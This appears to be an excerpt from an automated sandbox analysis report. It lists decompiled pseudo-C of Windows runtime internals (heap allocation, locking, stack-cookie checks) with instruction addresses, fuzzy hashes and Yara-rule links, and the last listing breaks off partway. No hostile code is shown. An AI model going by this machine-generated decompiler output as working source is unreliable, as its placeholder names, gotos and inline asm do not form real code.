C-Code - Quality: 76%

			E05767016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x57dd360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E05766B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E05766B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E05707D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E05729AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E0572B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L05704620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x05767016
0x0576701e
0x0576702b
0x05767033
0x05767037
0x0576703c
0x0576703e
0x05767041
0x05767045
0x0576704a
0x05767050
0x05767055
0x0576705a
0x05767062
0x05767062
0x0576705a
0x05767064
0x05767064
0x05767067
0x05767071
0x05767096
0x0576709b
0x057670a2
0x057670a6
0x057670a7
0x057670ad
0x057670b3
0x057670b6
0x057670bb
0x057670c3
0x057670c3
0x057670c6
0x057670cd
0x057670dd
0x057670e0
0x057670e2
0x057670e2
0x057670ee
0x05767101
0x057670f0
0x057670f9
0x057670f9
0x0576710a
0x0576710e
0x05767112
0x05767117
0x05767118
0x05767118
0x057670bb
0x0576711d
0x05767123
0x05767131
0x05767131
0x05767136
0x0576713d
0x0576713e
0x0576713f
0x0576714a
0x0576714a
0x05767084
0x05767088
0x00000000
0x0576708e
0x0576708e
0x05767092
0x00000000
0x05767092

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c50bfd53e363c91d8cc04fb0411a824c2980618a73b8f1fc89450cb93c12c8b
Instruction ID: 185388ba4a1f8aa8054efb02479cde2ffcff2984ee41672a10ff1db034566012
Opcode Fuzzy Hash: 1c50bfd53e363c91d8cc04fb0411a824c2980618a73b8f1fc89450cb93c12c8b
Instruction Fuzzy Hash: 8931E4726087519FC328DF28C844A6AB3F5FFC8740F044A29FC9687690E730E904D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 0571A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0571A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x57d7b10; // 0x0
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x57d7b10 = 8;
					 *0x57d7b14 = 0x57d7b0c;
					 *0x57d7b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x1
					E0571A990(0x57d7b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L0571A840(__edx, __ecx, __ecx, _t52, 0x57d7b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x57d7b10; // 0x0
					_t3 = _t37 + 0x27; // 0x27
					__eflags = _t3 >> 5 -  *0x57d7b18; // 0x0
					if(__eflags > 0) {
						_t38 =  *0x57d7b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x27
						_v8 = _t4 >> 5;
						_t50 = L05704620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x57d7b18 = _v8;
						_t8 = _t52 + 7; // 0x7
						E0572F3E0(_t50,  *0x57d7b14, _t8 >> 3);
						_t28 =  *0x57d7b14; // 0x0
						__eflags = _t28 - 0x57d7b0c;
						if(_t28 != 0x57d7b0c) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x8
						 *0x57d7b14 = _t50;
						_t48 = _v12;
						 *0x57d7b10 = _t9;
						goto L6;
					}
					 *0x57d7b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x0571a713
0x0571a714
0x0571a717
0x0571a71d
0x0571a720
0x0571a722
0x0571a727
0x0571a74a
0x0571a754
0x0571a75e
0x0571a768
0x0571a76a
0x0571a773
0x0571a78b
0x0571a790
0x0571a792
0x0571a741
0x0571a741
0x0571a743
0x0571a749
0x0571a749
0x0571a732
0x0571a73a
0x0571a797
0x0571a79d
0x0571a7a3
0x0571a7a9
0x0571a7b6
0x0571a7bc
0x0571a7ca
0x0571a7e0
0x0571a7e2
0x0571a7e4
0x05759bf2
0x00000000
0x05759bf2
0x0571a7ed
0x0571a7f2
0x0571a800
0x0571a805
0x0571a80d
0x0571a812
0x05759c08
0x05759c08
0x0571a818
0x0571a81b
0x0571a821
0x0571a824
0x00000000
0x0571a824
0x0571a7ae
0x00000000
0x0571a7ae
0x0571a73c
0x0571a73e
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b97faa4a48884cbfac62c5764f3518341e008212468867b34586522b7722952
Instruction ID: 1a10f156fa4d837b97e48e3928a1c4c8223a9aef1746f60f9181772e437cd4a9
Opcode Fuzzy Hash: 3b97faa4a48884cbfac62c5764f3518341e008212468867b34586522b7722952
Instruction Fuzzy Hash: EA31A0B26222009FD719CB18D885F25BBFBFB85720F14895AE84597241DB709A01EBB1

Uniqueness

Uniqueness Score: -1.00%

Function 057161A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E057161A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E05715E50(0x56c67cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E057B9D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E056EF7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x057161b3
0x057161b5
0x057161bd
0x057161c3
0x057161c7
0x057161d2
0x057161ff
0x057161ff
0x05716201
0x05716207
0x05716207
0x057161d4
0x057161d9
0x00000000
0x00000000
0x057161df
0x057161e2
0x00000000
0x00000000
0x057161e6
0x057161e8
0x057161ee
0x057161ee
0x057161f9
0x0575762f
0x05757632
0x05757635
0x05757639
0x05757640
0x0575766e
0x05757675
0x00000000
0x00000000
0x05757681
0x05757689
0x0575768d
0x05757691
0x05757695
0x05757699
0x057576af
0x057576b5
0x057576b7
0x057576b7
0x057576d7
0x057576dc
0x00000000
0x057576dc
0x057576a2
0x057576a9
0x05757651
0x05757653
0x05757653
0x05757656
0x05757656
0x00000000
0x05757656
0x05757644
0x05757646
0x05757648
0x05757648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e1b2f56390ca9e00c4adb82e86f406d0d24370a5210cf45820c6f67190d228
Instruction ID: 453bc7b39504187a75458c6d1c37de9c1df93e49292db988c7ea796ea0bad6dd
Opcode Fuzzy Hash: d0e1b2f56390ca9e00c4adb82e86f406d0d24370a5210cf45820c6f67190d228
Instruction Fuzzy Hash: F031AB716193018FD724CF0DC800B2AB7E5FB88B10F4449ADED999B751E7B0E808EB95

Uniqueness

Uniqueness Score: -1.00%

Function 056EAA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E056EAA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x57dd360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x57d7b9c; // 0x0
					_t53 = L05704620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E0572B640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E0572F3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L056F6C59(_t53, _t51, _t58) != 0) {
							_t28 = E05715E50(0x56cc338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E0571B230(_v32, _v28, 0x56cc2d8, 1,  &_v24);
								_t28 = E056EF7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x056eaa25
0x056eaa29
0x056eaa2d
0x056eaa30
0x056eaa37
0x056eaa3c
0x05744458
0x05744458
0x05744472
0x05744474
0x05744476
0x056eaa64
0x056eaa74
0x0574447c
0x05744483
0x05744492
0x056eaa52
0x056eaa54
0x056eaa5e
0x057444a8
0x057444ad
0x057444af
0x057444b6
0x057444b6
0x057444b9
0x057444bc
0x057444cd
0x057444d3
0x057444d6
0x057444e1
0x057444e1
0x057444e6
0x057444e8
0x057444fb
0x057444fb
0x057444e8
0x00000000
0x056eaa5e
0x05744476
0x056eaa42
0x056eaa46
0x056eaa48
0x056eaa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8edfad1fbc276aba8880d6da08d1c0855cc0187b1b50674a2d066f0eed64ab
Instruction ID: 458632be2076dfdf1f4d5b969fd501b0c190a9974b8a69964091f01bbcc8ce69
Opcode Fuzzy Hash: 8c8edfad1fbc276aba8880d6da08d1c0855cc0187b1b50674a2d066f0eed64ab
Instruction Fuzzy Hash: 9431D171A11619ABCF149FA8CD46A7FB7BAFF44700B014469F905EB240EB349D11EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05724A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E05724A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x57dd360 ^ _t62;
				_v8 =  *0x57dd360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E05702280(_t26, 0x57d8608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E056FFFB0(_t41, _t51, 0x57d8608);
						L2:
						 *0x57db1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E0572B640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E05702280(_t28, 0x57d8608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E056FFFB0(_t42, _t53, 0x57d8608);
							if(_t53 != 0) {
								L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E056FFFB0(_t41, _t51, 0x57d8608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x05724a2c
0x05724a34
0x05724a3c
0x05724a3e
0x05724a48
0x05724a4b
0x05724a4d
0x05724a51
0x05724a9c
0x00000000
0x00000000
0x05724aa3
0x05724aa8
0x05724aad
0x05724ab1
0x05724ade
0x05724ae3
0x05724a5a
0x05724a62
0x05724a6a
0x05724a6e
0x0575f203
0x05724a84
0x05724a88
0x05724a89
0x05724a8a
0x05724a95
0x05724a95
0x05724a79
0x05724a80
0x05724af2
0x05724af4
0x05724af9
0x05724aff
0x05724b01
0x05724b03
0x05724b08
0x0575f20a
0x0575f212
0x0575f216
0x0575f216
0x05724b08
0x05724b13
0x05724b1a
0x0575f229
0x0575f229
0x05724b1a
0x05724a82
0x00000000
0x05724a82
0x05724ab7
0x05724acd
0x05724acd
0x05724ad5
0x05724ada
0x00000000
0x05724ada
0x05724ac2
0x05724acb
0x00000000
0x00000000
0x00000000
0x05724acb
0x05724a53
0x05724a53
0x05724a58
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b811ad3566ca68672103a96858c16930bc0a13e10047ee849d8ea44e75c3ef30
Instruction ID: 9e3df158ed1dbe9f5a9914e3f86ba2ba289ee2b77185ba9f0007f1f475df479d
Opcode Fuzzy Hash: b811ad3566ca68672103a96858c16930bc0a13e10047ee849d8ea44e75c3ef30
Instruction Fuzzy Hash: BC31E232606660DBCB21DF54C948F2AFBF6FF81720F414529E9564B241CBB0D804EB96

Uniqueness

Uniqueness Score: -1.00%

Function 05728EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E05728EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x57dd360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E05714E70(0x57d86e4, 0x5729490, 0, 0);
					if( *0x57d53e8 > 5 && E05728F33(0x57d53e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x57d53e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x57d53e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x56cbc46;
						_t48 = E05767B9C(0x57d53e8, 0x56cbc46, _t67, 0x57d53e8, _t70,  &_v140);
					}
				}
				return E0572B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x05728ec7
0x05728ed9
0x05728edc
0x05728ee6
0x05728ee9
0x05728eee
0x05728efc
0x05728f08
0x05761349
0x05761353
0x0576135d
0x05761366
0x0576136f
0x05761375
0x0576137c
0x05761385
0x05761390
0x05761391
0x0576139c
0x0576139d
0x057613a6
0x057613ac
0x057613b2
0x057613b5
0x057613bc
0x057613bf
0x057613c2
0x057613c5
0x057613c8
0x057613cb
0x057613ce
0x057613d1
0x057613d4
0x057613d7
0x057613da
0x057613dd
0x057613e0
0x057613e3
0x057613e6
0x057613e9
0x057613f6
0x05761400
0x05761400
0x05728f08
0x05728f32

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06969eb2b505c4751b407df5aef1d16383ee5b7b040114eb908d1c1afaddc867
Instruction ID: 1b9627cdd81cb81708af5ed486cf99d3e3b3e4956fd01e8c5740c96574c0a8f6
Opcode Fuzzy Hash: 06969eb2b505c4751b407df5aef1d16383ee5b7b040114eb908d1c1afaddc867
Instruction Fuzzy Hash: EA41A2B1D003289FDB20CFAAD985AADFBF4FB48310F5081AEE519A7201D7715A84DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0571E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0571E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E05729670() < 0) {
					L0573DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x57d7b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L05704620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M0571E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x0571e730
0x0571e736
0x0571e738
0x0571e73d
0x0571e73e
0x0571e740
0x0571e749
0x0571e765
0x0571e76a
0x0571e76b
0x0571e76c
0x0571e76d
0x0571e76e
0x0571e76f
0x0571e775
0x0571e777
0x0571e77e
0x0575b675
0x0571e784
0x0571e784
0x0571e789
0x0571e7a8
0x0571e7ac
0x0571e807
0x0571e7ae
0x0571e7ae
0x0571e7b1
0x0571e7b4
0x0571e7b9
0x0571e7c0
0x0571e7c4
0x0571e7ca
0x0571e7cc
0x00000000
0x0571e7d3
0x0571e7d6
0x00000000
0x00000000
0x0571e7ff
0x0571e802
0x00000000
0x00000000
0x0571e7f9
0x0571e7fc
0x00000000
0x00000000
0x0571e7f3
0x0571e7f6
0x00000000
0x00000000
0x0571e7ed
0x0571e7f0
0x00000000
0x00000000
0x0571e7e7
0x0571e7ea
0x00000000
0x00000000
0x0575b685
0x0575b688
0x00000000
0x00000000
0x0575b682
0x00000000
0x00000000
0x0571e7cc
0x0571e7d9
0x0571e7dc
0x0571e7de
0x0571e7de
0x0571e7ac
0x0571e7e4
0x0571e74b
0x0571e751
0x0571e759
0x0571e761
0x0571e761

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725e1e8639d6b3a544c4f4a45c0d146ede3f7611b10925da56cacc7dc49bc3b2
Instruction ID: 65eab55c69d7b28e958de85d346e96bd7df04949b3677014c0eb1f33f8b04f69
Opcode Fuzzy Hash: 725e1e8639d6b3a544c4f4a45c0d146ede3f7611b10925da56cacc7dc49bc3b2
Instruction Fuzzy Hash: 98318D75A14249EFE704CF18C845B9ABBE8FB08310F148256FD08CB341E631E880DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0571BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0571BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x57d6100; // 0x5
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E05702280(0xd, 0x1b72f1a0);
				_t41 =  *0x57d60f8; // 0x0
				if(_t41 != 0) {
					 *0x57d60f8 =  *_t41;
					 *0x57d60fc =  *0x57d60fc + 0xffff;
				}
				E056FFFB0(_t41, 0x800, 0x1b72f1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x57d60f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L05704620(0x57d6100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x57d6100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x0571bc36
0x0571bc42
0x0571bc45
0x0571bc4a
0x0571bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x0571bc50
0x0571bc50
0x0571bc58
0x0571bc5a
0x0571bc60
0x00000000
0x00000000
0x0575a4f2
0x0575a4f6
0x00000000
0x00000000
0x00000000
0x0575a4fc
0x0571bc79
0x0571bc7e
0x0571bc86
0x0571bd16
0x0571bd20
0x0571bd20
0x0571bc8d
0x0571bc94
0x0571bcbd
0x0571bcca
0x0571bccb
0x0571bccc
0x0571bccd
0x0571bcce
0x0571bcd4
0x0571bcea
